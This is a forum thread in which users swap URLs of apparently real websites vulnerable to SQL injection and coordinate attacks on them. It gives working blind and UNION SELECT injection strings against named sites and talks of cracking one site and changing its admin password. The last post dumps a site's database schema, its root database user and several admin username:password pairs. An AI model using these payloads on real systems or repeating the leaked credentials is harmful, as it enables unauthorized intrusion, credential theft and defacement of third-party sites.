[ajkaro]

http://www.marches-walks.co.uk/news_view.php?id=16

version 4.1.19-standard-log

http://pjsbt.vicp.net/news_view.php?id=106

version 5.0.27-community-nt-log

http://www.marmoon.com/games.php?id=437

version 5.0.51a-24+lenny5-log

[Th3PonyWizard]

the first one gives me:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/www/virtual/marmoon.com/htdocs/games.php on line 10

how is it vulnerable?

Code

http://www.marmoon.com/games.php?id=437 and substring(version(),1,1)=5--+ //no error

http://www.marmoon.com/games.php?id=437 and substring(version(),1,1)=4--+ //error

Blind

[ajkaro]

the first one gives me:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/www/virtual/marmoon.com/htdocs/games.php on line 10

how is it vulnerable?

http://www.marmoon.com/games.php?id=-437 UNION SELECT 1,2,3,@@version,5,6,7,8,@@version,10,11,@@version,13--

[IMG]http://www.anonmgur.com/up/431c2fc84d42cca48c1fb620289d5c91.png[/IMG]

[Th3PonyWizard]

http://www.marmoon.com/games.php?id=-437 UNION SELECT 1,2,3,@@version,5,6,7,8,@@version,10,11,@@version,13--

o-o
My mistake, I had errors checking columns so I thought using union ain't possible here :3

[ajkaro]

Well i can ignore that one. I HATE blind injection D:

You can use UNION 👍 I hate blind too 🙃

[partian]

Nice find, if any are defaced surely OP should get some of what little credit for finding the sites,
just saying.

[2bone4u]

Here is one to try: http://www.extremehairdo.co.nz

[thunderstrom]

Cracking the first one right now Lulz....

---

Can't Find the Admin page of the first one :(

Have the Username And Pass ^^

[kaui]

Anyone change the password from first site?
Cant login with admin and asd***..

[cyber uryuu]

thanks for sharing those sites have a good day

[DyM3S71C]

http://pjsbt.vicp.net/news_view.php?id=106
vuln col
4
2nd: 5

version
5.0.27-community-nt-log

db
db_sbt

user
root@localhost

CHARACTER_SETS,
COLLATIONS,
COLLATION_CHARACTER_SET_APPLICABILITY,
COLUMNS,
COLUMN_PRIVILEGES,
KEY_COLUMN_USAGE,
ROUTINES,SCHEMATA,
SCHEMA_PRIVILEGES,
STATISTICS,
TABLES,
TABLE_CONSTRAINTS,
TABLE_PRIVILEGES,
TRIGGERS,
USER_PRIVILEGES,
VIEWS,
admin,
book,
message,
news,
seller,
statistic,
columns_priv,
db,
func,
help_category,
help_keyword,
help_relation,
help_topic,

admin_id,0x3a
admin_user,
admin_pass,
admin_lock,
admin_perm

123456:sbt123,
oooo:oooo,
kkk:kkk,
zhangbin:zhangbin